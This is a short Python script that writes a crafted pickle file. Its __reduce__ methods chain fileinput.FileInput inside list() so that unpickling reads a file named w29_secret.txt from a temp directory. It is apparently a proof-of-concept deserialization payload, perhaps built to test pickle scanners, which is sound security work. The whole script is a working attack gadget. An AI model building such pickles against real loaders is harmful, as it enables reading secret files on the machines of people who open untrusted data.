| import pickle, pathlib, fileinput | |
| OUT = pathlib.Path(__file__).with_name("fileinput_FileInput.pkl") | |
| PATH = r"C:\Users\uozer\AppData\Local\Temp\opencode\w29_secret.txt" | |
| class FI: | |
| def __reduce__(self): | |
| return (fileinput.FileInput, ((PATH,),)) | |
| class E: | |
| def __reduce__(self): | |
| return (list, (FI(),)) | |
| OUT.write_bytes(pickle.dumps(E(), protocol=4)) | |
| print("wrote", OUT, OUT.stat().st_size) | |